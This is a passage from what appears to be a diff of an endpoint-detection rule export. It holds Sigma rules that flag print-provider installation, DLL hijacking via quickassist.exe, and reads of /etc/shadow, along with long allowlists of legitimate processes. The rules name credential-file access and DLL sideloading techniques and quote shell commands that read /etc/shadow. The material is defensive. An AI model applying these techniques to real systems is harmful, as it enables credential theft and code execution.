Details: 'dl??????.dll'\n          TargetObject|endswith: '\\Version-3\\dell *\\Configuration File'\n        - Details: 'buauifnt_enc18.dll'\n          TargetObject|endswith: '\\Version-3\\encore 18+ black ice driver\\Configuration File'\n        - Details: 'epobf9ac.dll'\n          TargetObject|endswith: '\\Version-3\\Epson al-m2000 advanced\\Configuration File'\n        - Details: 'epobx9ac.dll'\n          TargetObject|endswith: '\\Version-3\\Epson al-m400 advanced\\Configuration File'\n        - Details: 'e1yuicace.dll'\n          TargetObject|endswith: '\\Version-3\\Epson sc-p8500d series\\Configuration File'\n        - Details: 'e_32ulc2de.dll'\n          TargetObject|endswith: '\\Version-3\\Epson sc-t3400 series\\Configuration File'\n        - Details: 'e_32ulc1ee.dll'\n          TargetObject|endswith: '\\Version-3\\Epson sc-t5200d series\\Configuration File'\n        - Details: 'e1yuicbpe.dll'\n          TargetObject|endswith: '\\Version-3\\Epson wf-c5890 series\\Configuration File'\n        - Details: 'e1yuiccge.dll'\n          TargetObject|endswith: '\\Version-3\\Epson wf-m5899 series\\Configuration File'\n        - Details: 'gpcrpui64.dll'\n          TargetObject|endswith: '\\Version-3\\graphtec craft robo pro s\\Configuration File'\n        - Details: 'in#idp-u.d64'\n          TargetObject|endswith: '\\Version-3\\honeywell *\\Configuration File'\n        - Details: 'lttilaser-*_sui.dll'\n          TargetObject|endswith: '\\Version-3\\ilaser-*_s\\Configuration File'\n        - Details: 'ric67lu.dll'\n          TargetObject|endswith: '\\Version-3\\imc*\\Configuration File'\n        - Details: 'fra55lu.dll'\n          TargetObject|endswith: '\\Version-3\\infotec mp 501 pcl 5e\\Configuration File'\n        - Details: 'ss#epl-u.d64'\n          TargetObject|endswith:\n            - '\\Version-3\\intermec pf8d\\Configuration File'\n            - '\\Version-3\\zebra tlp2844\\Configuration File'\n        - Details: 'magui.dll'\n          TargetObject|endswith: '\\Version-3\\magicard *\\Configuration File'\n        - Details: 'novauiv*.dll'\n          TargetObject|endswith: '\\Version-3\\novapdf oem * printer driver\\Configuration File'\n        - Details: 'novexxsolutionsui.dll'\n          TargetObject|endswith: '\\Version-3\\novexx *\\Configuration File'\n        - Details: 'rica????.dll'\n          TargetObject|endswith: '\\Version-3\\nrg *\\Configuration File'\n        - Details: 'oplv_ui.dll'\n          TargetObject|endswith: '\\Version-3\\oki *\\Configuration File'\n        - Details: 'pc#tsc-u.d64'\n          TargetObject|endswith: '\\Version-3\\pdc *\\Configuration File'\n        - Details: 'pdfprnui.dll'\n          TargetObject|endswith:\n            - '\\Version-3\\pdf architect 5 driver\\Configuration File'\n            - '\\Version-3\\pdf architect 4 driver\\Configuration File'\n            - '\\Version-3\\soda pdf desktop driver\\Configuration File'\n        - Details: 'pxc50uia.dll'\n          TargetObject|endswith: '\\Version-3\\pdf-xchange *\\Configuration File'\n        - Details: 'pdfescape desktop_pdfprnui_v*.dll'\n          TargetObject|endswith: '\\Version-3\\pdfescape desktop driver\\Configuration File'\n        - Details: 'fppint?.dll'\n          TargetObject|endswith: '\\Version-3\\pdffactory ?\\Configuration File'\n        - Details: 'sx_p*_d.dll'\n          TargetObject|endswith: '\\Version-3\\perfect pdf * premium driver\\Configuration File'\n        - Details: 'r???????.dll'\n          TargetObject|endswith: '\\Version-3\\ricoh *\\Configuration File'\n        - Details: 'gxe5jau.dll'\n          TargetObject|endswith: '\\Version-3\\ricoh sp c262dnw pcl 5c\\Configuration File'\n        - Details: 'rc40dui.dll'\n          TargetObject|endswith: '\\Version-3\\riso comcolor black fw1230\\Configuration File'\n        - Details: 'rte_wrui.dll'\n          TargetObject|endswith: '\\Version-3\\rte com services\\Configuration File'\n        - Details: 'ss?????.dll'\n          TargetObject|endswith: '\\Version-3\\samsung *\\Configuration File'\n        - Details: 'rica7rui.dll'\n          TargetObject|endswith: '\\Version-3\\savin im c4500 pcl 6\\Configuration File'\n        - Details: 'sn0xu.dll'\n          TargetObject|endswith: '\\Version-3\\Sharp mx-4101n fax\\Configuration File'\n        - Details: 'skypdfuipro_mt.dll'\n          TargetObject|endswith: '\\Version-3\\skypdf pro mt driver\\Configuration File'\n        - Details: 'pyrmdui.dll'\n          TargetObject|endswith: '\\Version-3\\slidemate as\\Configuration File'\n        - Details: 'tobi_ui.dll'\n          TargetObject|endswith: '\\Version-3\\Toshiba e-studio403s(pcl)\\Configuration File'\n        - Details: 'es6cx6ui.dll'\n          TargetObject|endswith: '\\Version-3\\Toshiba e-studio6530cseriespcl6\\Configuration File'\n        - Details: '?s#tsc-u.d64'\n          TargetObject|endswith: '\\Version-3\\tsc tc200\\Configuration File'\n        - Details: 'sxp2mdu.dll'\n          TargetObject|endswith: '\\Version-3\\xerox phaser 3250\\Configuration File'\n        - Details: 'xr?k2axpui.dll'\n          TargetObject|endswith: '\\Version-3\\xerox workcentre *\\Configuration File'\n        - Details: 'nl_zebraui.dll'\n          TargetObject|endswith: '\\Version-3\\zebra *\\Configuration File'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\n# level: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4a77686d-2ab7-4cde-9662-336a29faed1a",
+  "rule_name": "Spoolsv Print Provider Added",
+  "rule_description": "Detects the installation of a new print provider.\nAttackers may install new print provider services to exploit vulnerabilities in the printer service (such as CVE-2021-1675) and gain code execution through the spoolsv binary.\nIt is recommended to analyze the DLL pointed to by the registry value to determine its legitimacy, as well as to look for malicious actions originating from the spoolsv process.\n",
+  "rule_creation_date": "2021-07-01",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4ad70790-9646-46dc-b8ec-f145eb8a04ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082094Z",
+  "creation_date": "2026-03-23T11:45:34.082096Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082100Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_quickassist.yml",
+  "content": "title: DLL Hijacking via quickassist.exe\nid: 4ad70790-9646-46dc-b8ec-f145eb8a04ba\ndescription: |\n    Detects potential Windows DLL Hijacking via quickassist.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'quickassist.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\CRYPTBASE.DLL'\n            - '\\d2d1.dll'\n            - '\\d3d11.dll'\n            - '\\dcomp.dll'\n            - '\\dxgi.dll'\n            - '\\PROPSYS.dll'\n            - '\\SAS.dll'\n            - '\\SspiCli.dll'\n            - '\\UxTheme.dll'\n            - '\\WindowsCodecs.dll'\n            - '\\WININET.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4ad70790-9646-46dc-b8ec-f145eb8a04ba",
+  "rule_name": "DLL Hijacking via quickassist.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via quickassist.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "4af5cd27-b69e-4679-a1b5-b6f72cc439aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.650422Z",
+  "creation_date": "2026-03-23T11:45:35.296928Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296932Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md",
+    "https://attack.mitre.org/techniques/T1003/008/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1003_008_etc_shadow_read.yml",
+  "content": "title: File /etc/shadow Read\nid: 4af5cd27-b69e-4679-a1b5-b6f72cc439aa\ndescription: |\n    Detects an attempt to read /etc/shadow.\n    This file contains the encrypted passwords of all the accounts on the system.\n    The content of this file is often used to gather information about the system and for offline password cracking.\n    It is recommended to ensure that the process accessing this file is legitimate and that it will keep its content secret.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md\n    - https://attack.mitre.org/techniques/T1003/008/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2022/11/16\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.008\n    - attack.t1078\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Path: '/etc/shadow'\n        ProcessParentImage|contains: '?'\n\n    filter_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_common:\n        ProcessImage:\n            - '*/systemd'\n            - '*/sudo'\n            - '*/su'\n            - '*/sshd'\n            - '*/cron'\n            - '/usr/sbin/in.rshd'\n            - '/usr/sbin/crond'\n            - '/usr/bin/crond'\n            - '/usr/bin/crontab'\n            - '*/unix_chkpwd'\n            - '*/accountsservice/accounts-daemon'\n            - '*/polkit-agent-helper-?'\n            - '/usr/lib/x86_64-linux-gnu/sddm/sddm-helper'\n            - '/usr/sbin/smbd'\n            - '/usr/sbin/lightdm'\n            - '/usr/libexec/accounts-daemon'\n            - '/bin/login'\n            - '/usr/bin/login'\n            - '/usr/sbin/usermod'\n            - '/usr/sbin/useradd'\n            - '/usr/sbin/userdel'\n            - '/usr/bin/passwd'\n            - '/usr/bin/chage'\n            - '/usr/sbin/pwck'\n            - '/usr/bin/chsh'\n            - '/usr/bin/chfn'\n            - '/usr/bin/clamscan'\n            - '/usr/sbin/xrdp-sesman'\n            - '/usr/bin/newgrp'\n            - '/usr/lib/openssh/sftp-server'\n            - '/usr/lib/openssh/sshd-session'\n            - '/usr/local/libexec/sshd-session'\n            - '/usr/libexec/openssh/sshd-session'\n            - '/usr/lib/ssh/sshd-session'\n            - '/usr/libexec/ssh/sshd-session'\n            - '/sbin/apk'\n            - '/usr/sbin/atd'\n            - '/usr/bin/id'\n            - '/usr/lib/systemd/systemd-readahead'\n            - '/usr/lib/systemd/systemd-userwork'\n            - '/usr/sbin/chpasswd'\n            - '/bin/chpasswd'\n            - '/lib/systemd/systemd-logind'\n            - '/usr/lib/systemd/systemd-logind'\n            - '/usr/bin/systemd-tmpfiles'\n            - '/usr/bin/pwck'\n            - '/usr/lib/kscreenlocker_greet'\n            - '/usr/lib/sddm/sddm-helper'\n            - '/usr/bin/systemd-sysusers'\n            - '/usr/libexec/xfce4-screensaver-dialog'\n            - '/usr/lib/x86_64-linux-gnu/libexec/kcheckpass'\n            - '/usr/sbin/gdm3'\n            - '/usr/bin/git'\n            - '/usr/bin/screen'\n            - '/usr/lib/systemd/systemd-executor'\n            - '/usr/bin/cupsd'\n            - '/usr/sbin/cupsd'\n            - '/usr/bin/mono-sgen'\n            - '/usr/sbin/openvpn'\n            - '/usr/lib/accounts-daemon'\n            - '/usr/bin/runuser'\n            - '/usr/sbin/runuser'\n            - '/usr/bin/pwhistory_helper'\n            - '/usr/sbin/pwhistory_helper'\n            - '/usr/bin/getent'\n            - '/usr/libexec/packagekitd'\n            - '/usr/lib/dovecot/auth'\n            - '/usr/NX/bin/nxexec'\n            - '/usr/libexec/openscap/probe_shadow'\n            - '/usr/lib/x86_64-linux-gnu/openscap/probe_shadow'\n            - '/usr/bin/oscap'\n            - '/usr/lib/x86_64-linux-gnu/openscap/probe_textfilecontent54'\n            - '/usr/bin/xtrlock'\n            - '/bin/tar'\n            - '/usr/bin/tar'\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/usr/bin/schroot'\n            - '/usr/bin/lslogins'\n            - '/usr/sbin/freeradius'\n            - '/usr/bin/mksquashfs'\n            - '/usr/sbin/sshd-knock'\n            - '/usr/bin/rsync'\n            - '/usr/bin/greetd'\n            - '/usr/sbin/pure-ftpd-virtualchroot'\n            - '/usr/sbin/selinux_helper'\n            - '/usr/sbin/lid'\n            - '/usr/lib/x86_64-linux-gnu/xrdp/xrdp-sesexec'\n            - '/usr/bin/md5sum'\n            - '/usr/bin/sha1sum'\n            - '/usr/bin/sha256sum'\n            - '/usr/sbin/saslauthd'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/lib/rstudio-server/bin/rserver-pam'\n            - '/usr/lib/rstudio-server/bin/rserver-launcher'\n            - '/usr/local/manageengine/uems_agent/bin/dctaskengine'\n            - '/usr/openv/netbackup/bin/bpdbsbora'\n            - '/opt/jc/bin/jcosqueryi'\n            - '*/sqllib/adm/db2syscr'\n            - '/opt/mqm/bin/security/amqoamax'\n            - '/opt/grid/*/perl/bin/perl'\n            - '/opt/sentinelone/bin/sentinelone-agent'\n            - '/opt/nessus_agent/sbin/nessus-agent-module'\n            - '/opt/VRTSperl/bin/perl'\n            - '/opt/VRTSsfmh/bin/perl'\n            - '/opt/netbackup/openv/netbackup/bin/bpbkar'\n            - '/opt/hpud/*/.discagnt/udscan'\n            - '/opt/Druva/EnterpriseWorkloads/bin/PhoenixFSDtBackupAgent'\n            - '/opt/universal/ubroker/sbin/cskern'\n            - '/usr/local/ipdiva/cleanroom/sbin/xrdp-sesman'\n            - '/opt/psa/admin/sbin/sys_auth'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/usr/bin/make|'\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n            - '|/opt/a5000/infra/utils/bin/osconfexec|' # Mitel\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage:\n            - '/usr/bin/apt'\n            - '/usr/bin/apt-get'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_cmp1:\n        ProcessCurrentDirectory|startswith: '/var/backups/'\n        ProcessImage|endswith: '/cmp'\n        ProcessParentName: 'passwd'\n        ProcessGrandparentImage|endswith: '/run-parts'\n    exclusion_cmp2:\n        ProcessCurrentDirectory: '/var/backups/'\n        ProcessCommandLine: 'cmp -s shadow.bak /etc/shadow'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        - ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n    exclusion_pacman:\n        ProcessImage: '/usr/bin/pacman'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n    exclusion_snapd:\n        - ProcessImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessParentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n        - ProcessGrandparentImage:\n            - '/snap/snapd/*/usr/lib/snapd/snapd'\n            - '/snap/core/*/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snapd'\n            - '/usr/lib/snapd/snap-update-ns'\n            - '/usr/libexec/snapd/snapd'\n            - '/usr/libexec/snapd/snap-update-ns'\n            - '/snap/snapd/*/usr/lib/snapd/snap-update-ns'\n\n    exclusion_debconf_1:\n        - ProcessCommandLine:\n            - '/usr/bin/perl*/usr/share/debconf/frontend /sbin/update-secureboot-policy *'\n            - '/usr/bin/perl*/usr/share/debconf/frontend /usr/sbin/update-grub-legacy-ec2'\n            - '/usr/bin/perl*/usr/share/debconf/frontend /usr/sbin/needrestart*'\n            - '/usr/bin/perl*/bin/debconf-communicate -fnoninteractive update-notifier'\n            - '/usr/bin/perl*/usr/share/debconf/frontend /usr/sbin/pam-auth-update --force --package'\n        - ProcessParentCommandLine:\n            - '/usr/bin/python3 /usr/bin/unattended-upgrade'\n            - '/usr/bin/python3 /usr/lib/update-notifier/package-data-downloader'\n\n    exclusion_debconf_2:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n\n    exclusion_authconfig:\n        ProcessCommandLine:\n            - '/usr/bin/python /sbin/authconfig'\n            - '/usr/bin/python? /sbin/authconfig'\n\n    exclusion_gdm:\n        ProcessCommandLine: 'gdm-session-worker [pam/gdm-*]'\n    exclusion_dkms:\n        - ProcessCommandLine|contains: '/usr/sbin/dkms'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dkms'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dkms'\n    exclusion_cron_daily_passwd:\n        ProcessCommandLine:\n            - 'cmp -s shadow.bak /etc/shadow'\n            - 'cp -p /etc/shadow shadow.bak'\n        ProcessParentCommandLine: '/bin/sh /etc/cron.daily/passwd'\n    exclusion_eset:\n        ProcessImage|startswith: '/opt/eset/'\n    exclusion_deepsecurity:\n        ProcessImage|startswith: '/opt/ds_agent/'\n    exclusion_auditbeat:\n        ProcessImage|endswith: '/auditbeat'\n    exclusion_fusioninventory:\n        - ProcessName: 'fusioninventory-agent'\n        - ProcessCommandLine|contains: 'fusioninventory-agent'\n    exclusion_sap:\n        - ProcessImage:\n            - '*/sapuxuserchk'\n            - '/usr/sap/hostctrl/exe/sapdbctrl'\n        - ProcessParentImage|endswith: '/saphostexec'\n    exclusion_hana:\n        ProcessImage|endswith: '/sdbrun'\n    exclusion_proftpd:\n        ProcessImage|endswith: '/proftpd'\n    exclusion_vmware:\n        ProcessImage|endswith: '/vmtoolsd'\n    exclusion_aide:\n        ProcessImage|endswith: '/aide'\n    exclusion_mcafee:\n        ProcessImage|startswith: '/opt/McAfee/'\n    exclusion_netbackup:\n        ProcessImage|endswith:\n            - '/nbatd'\n            - '/nbtelesched'\n            - '/netb'\n            - '/nbtelemetry'\n            - '/bpjava-msvc'\n    exclusion_landscape:\n        - ProcessCommandLine|contains: '/usr/bin/landscape-client'\n        - ProcessParentCommandLine|contains:\n            - '/usr/bin/landscape-client'\n            - '/usr/bin/python3 /usr/bin/landscape-client'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/landscape-client'\n    exclusion_gcworker:\n        ProcessImage: '/opt/GC_Service/GC/gc_worker'\n    exclusion_cockpit:\n        - ProcessImage: '/usr/lib/cockpit/cockpit-session'\n        - ProcessParentImage: '/usr/libexec/cockpit-session'\n        - ProcessAncestors|contains: '|/usr/libexec/cockpit-session|'\n    exclusion_vsftpd:\n        ProcessImage: '/usr/sbin/vsftpd'\n    exclusion_pgsql:\n        ProcessParentCommandLine|contains: 'sh /usr/share/postgresql-common/pg_updateaptconfig'\n    exclusion_pgisready:\n        - ProcessCommandLine: '/usr/bin/perl /usr/bin/pg_isready'\n        - ProcessCommandLine|startswith: '/usr/bin/perl /usr/bin/pg_isready '\n        - ProcessParentCommandLine|startswith: '/bin/sh -c pg_isready '\n    exclusion_pg:\n        ProcessCommandLine|startswith:\n            - '/usr/lib/postgresql/*/bin/psql '\n            - '/usr/bin/perl /usr/bin/pg_dump '\n            - '/usr/lib/postgresql/??/bin/pg_restore '\n            - '/usr/lib/postgresql/??/bin/pg_dumpall'\n            - '/usr/bin/perl /usr/bin/pg_dumpall'\n            - '/usr/bin/perl -wT /usr/bin/pg_lsclusters '\n            - '/usr/bin/perl -w /usr/bin/pg_createcluster '\n            - '/usr/bin/perl -wT /usr/bin/pg_upgradecluster '\n            - '/usr/bin/perl /bin/pg_restore '\n    exclusion_glpi_agent1:\n        ProcessImage:\n            - '/usr/bin/perl'\n            - '/snap/glpi-agent/*/usr/share/glpi-agent/bin/perl'\n        ProcessCommandLine|contains:\n            - 'glpi-agent'\n            - '/usr/bin/perl /usr/bin/glpi-inventory'\n    exclusion_glpi_agent2:\n        ProcessCommandLine: 'glpi-agent (tag *): waiting'\n    exclusion_psql:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/perl /usr/bin/psql'\n            - '/usr/bin/perl -w /usr/bin/psql'\n    exclusion_netatalk:\n        ProcessImage:\n            - '/usr/sbin/afpd'\n            - '/usr/local/sbin/afpd'\n        ProcessParentImage:\n            - '/usr/sbin/afpd'\n            - '/usr/local/sbin/afpd'\n    exclusion_x2go:\n        - ProcessCommandLine:\n            - '/usr/bin/perl /usr/bin/x2golistsessions'\n            - '/usr/bin/perl -XU /usr/lib/x2go/libx2go-server-db-sqlite3-wrapper.pl *'\n            - '/usr/bin/perl /usr/lib/x2go/x2golistsessions_sql *'\n        - ProcessParentCommandLine:\n            - '/usr/bin/perl /usr/sbin/x2gocleansessions'\n            - '/usr/bin/perl /usr/bin/x2gosessionlimit'\n            - '/bin/bash /usr/bin/x2gosuspend-session*'\n            - '/bin/bash /usr/bin/x2goruncommand*'\n        - ProcessGrandparentCommandLine: '/usr/bin/perl /usr/sbin/x2gocleansessions'\n    exclusion_omiserver:\n        ProcessImage: '/opt/omi/bin/omiserver'\n    exclusion_laps_1:\n        ProcessCommandLine: '/bin/bash /usr/local/sbin/laps'\n        ProcessParentImage: '/usr/lib/systemd/systemd'\n    exclusion_laps_2:\n        ProcessCommandLine: '/bin/bash /usr/local/libexec/laps'\n    exclusion_qualys1:\n        ProcessAncestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n    exclusion_qualys2:\n        ProcessCommandLine:\n            - 'grep ^root:[\\*!]: /etc/shadow'\n            - 'grep -E ^\\\\+: /etc/shadow'\n            - 'grep -E ^root:[\\\\\\*\\\\!]: /etc/shadow'\n            - 'grep -E ^[[:blank:]]\\*\\\\+ /etc/shadow'\n            - 'grep -E ^[^:]+:[^\\\\!\\*] /etc/shadow'\n            - '/bin/sh /usr/bin/egrep ^[^:]+:[^\\\\!\\*] /etc/shadow'\n            - 'awk -F: {print $1?:?$5} /etc/shadow'\n            - 'awk -F: ($2 == \"\"){print \"/etc/shadow:\"$1\":Second field is empty\"} /etc/shadow'\n            - 'awk -F: -v user=* {if ($1==user) print $1\":\"$7} /etc/shadow'\n            # awk -F: {if (NR==FNR){if ($2 ~ /^(\\!|\\*)/) a[$1]=\"locked\"; else a[$1]=\"active\"} else {if($7 ==\"/sbin/nologin\" && 